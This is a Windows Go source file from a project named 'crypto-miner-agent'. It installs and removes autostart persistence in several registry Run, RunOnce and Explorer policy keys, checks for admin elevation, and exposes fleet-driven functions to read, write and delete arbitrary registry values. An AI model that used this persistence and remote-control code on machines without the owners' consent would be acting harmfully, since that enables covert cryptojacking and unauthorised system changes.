//go:build windows package deploy import ( "fmt" "strings" "unsafe" "crypto-miner-agent/config" "golang.org/x/sys/windows" "golang.org/x/sys/windows/registry" ) type registryLoc struct { hive registry.Key subkey string needsAdmin bool } func registryLocForMode(mode string) (registryLoc, bool) { switch mode { case AutostartLogonRun, RegistryHKCURun: return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`}, true case RegistryHKCURunOnce: return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`}, true case RegistryHKLMRun: return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`, needsAdmin: true}, true case RegistryHKLMRunOnce: return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`, needsAdmin: true}, true case RegistryExplorerRun: return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`}, true default: return registryLoc{}, false } } func registryRunCommand(binPath string) string { return fmt.Sprintf(`"%s" %s`, binPath, runFlag) } func registryValueNameForMode(cfg config.RuntimeConfig, mode string) string { switch mode { case AutostartLogonRun: return PersistenceKeyName(cfg) default: return RegistryPersistenceValueName(cfg) } } func writeRegistryRunValue(cfg config.RuntimeConfig, mode, binPath string) error { loc, ok := registryLocForMode(mode) if !ok { return nil } if loc.needsAdmin && !IsProcessElevated() { return nil } k, _, err := registry.CreateKey(loc.hive, loc.subkey, registry.SET_VALUE) if err != nil { return err } defer k.Close() return k.SetStringValue(registryValueNameForMode(cfg, mode), registryRunCommand(binPath)) } func registryRunValueExists(cfg config.RuntimeConfig, mode, binPath string) bool { loc, ok := registryLocForMode(mode) if !ok { return false } k, err := registry.OpenKey(loc.hive, loc.subkey, registry.QUERY_VALUE) if err != nil { return false } defer k.Close() val, _, err := k.GetStringValue(registryValueNameForMode(cfg, mode)) if err != nil { return false } return strings.Contains(val, binPath) } func removeRegistryValueAt(loc registryLoc, valueName string) { k, err := registry.OpenKey(loc.hive, loc.subkey, registry.SET_VALUE) if err != nil { return } defer k.Close() _ = k.DeleteValue(valueName) } func removeRegistryPersistence(cfg config.RuntimeConfig) { keyName := PersistenceKeyName(cfg) agentName := RegistryPersistenceValueName(cfg) for _, mode := range append([]string{AutostartLogonRun}, allRegistryModeTokens()...) { loc, ok := registryLocForMode(mode) if !ok { continue } removeRegistryValueAt(loc, registryValueNameForMode(cfg, mode)) } // Legacy HKCU Run used PersistenceKeyName before AetherForge_ naming. loc, _ := registryLocForMode(AutostartLogonRun) removeRegistryValueAt(loc, keyName) removeRegistryValueAt(loc, agentName) } func allRegistryModeTokens() []string { return []string{ RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryHKLMRunOnce, RegistryExplorerRun, } } // IsProcessElevated reports whether the current token is in the Administrators role. func IsProcessElevated() bool { var token windows.Token if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_QUERY, &token); err != nil { return false } defer token.Close() // TokenElevationTypeFull (2) on Vista+ var elevation uint32 var outLen uint32 err := windows.GetTokenInformation(token, windows.TokenElevation, (*byte)(unsafe.Pointer(&elevation)), uint32(unsafe.Sizeof(elevation)), &outLen) if err == nil && elevation != 0 { return true } // Fallback: check admin SID membership. sid, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid) if err != nil { return false } member, err := token.IsMember(sid) return err == nil && member } // FleetRegistryRead returns JSON-friendly map of value names to {type,value}. func FleetRegistryRead(hiveToken, subkey string) (map[string]interface{}, error) { if err := ValidateRegistryPath(hiveToken, subkey); err != nil { return nil, err } hive, err := registryHiveKey(hiveToken) if err != nil { return nil, err } if hive == registry.LOCAL_MACHINE && !IsProcessElevated() { return nil, fmt.Errorf("HKLM read requires elevation") } k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) if err != nil { return nil, err } defer k.Close() names, err := k.ReadValueNames(-1) if err != nil { return nil, err } values := make(map[string]interface{}, len(names)) for _, name := range names { val, valType, err := readRegistryValue(k, name) if err != nil { values[name] = map[string]string{"error": err.Error()} continue } values[name] = map[string]interface{}{"type": registryTypeName(valType), "value": val} } return map[string]interface{}{ "hive": strings.ToUpper(hiveToken), "path": subkey, "values": values, }, nil } func FleetRegistryWrite(hiveToken, subkey, name, value, valType string) error { if err := ValidateRegistryPath(hiveToken, subkey); err != nil { return err } name = SanitizeRegistryValueName(name) if name == "" { return fmt.Errorf("value name is required") } hive, err := registryHiveKey(hiveToken) if err != nil { return err } if hive == registry.LOCAL_MACHINE && !IsProcessElevated() { return fmt.Errorf("HKLM write requires elevation") } k, _, err := registry.CreateKey(hive, normalizeSubkey(subkey), registry.SET_VALUE) if err != nil { return err } defer k.Close() switch strings.ToUpper(strings.TrimSpace(valType)) { case "REG_DWORD", "DWORD": var n uint32 if _, err := fmt.Sscanf(value, "%d", &n); err != nil { return fmt.Errorf("invalid REG_DWORD value %q", value) } return k.SetDWordValue(name, n) case "REG_SZ", "SZ", "": return k.SetStringValue(name, value) default: return fmt.Errorf("unsupported registry type %q (use REG_SZ or REG_DWORD)", valType) } } func FleetRegistryDelete(hiveToken, subkey, name string) error { if err := ValidateRegistryPath(hiveToken, subkey); err != nil { return err } name = SanitizeRegistryValueName(name) if name == "" { return fmt.Errorf("value name is required") } hive, err := registryHiveKey(hiveToken) if err != nil { return err } if hive == registry.LOCAL_MACHINE && !IsProcessElevated() { return fmt.Errorf("HKLM delete requires elevation") } k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.SET_VALUE) if err != nil { return err } defer k.Close() return k.DeleteValue(name) } func registryHiveKey(hiveToken string) (registry.Key, error) { switch hiveToken { case "hkcu": return registry.CURRENT_USER, nil case "hklm": return registry.LOCAL_MACHINE, nil default: return 0, fmt.Errorf("unknown hive token %q", hiveToken) } } func normalizeSubkey(path string) string { path = strings.TrimSpace(path) path = strings.TrimPrefix(path, `\`) for _, prefix := range []string{"HKCU\\", "HKEY_CURRENT_USER\\", "HKLM\\", "HKEY_LOCAL_MACHINE\\"} { if strings.HasPrefix(strings.ToUpper(path), strings.ToUpper(prefix)) { path = path[len(prefix):] break } } return path } func readRegistryValue(k registry.Key, name string) (interface{}, uint32, error) { val, valType, err := k.GetStringValue(name) if err == nil { return val, valType, nil } if err != registry.ErrUnexpectedType { return nil, 0, err } n, _, err := k.GetIntegerValue(name) if err != nil { return nil, 0, err } return n, registry.DWORD, nil } func registryTypeName(t uint32) string { switch t { case registry.SZ: return "REG_SZ" case registry.DWORD: return "REG_DWORD" default: return fmt.Sprintf("REG_%d", t) } }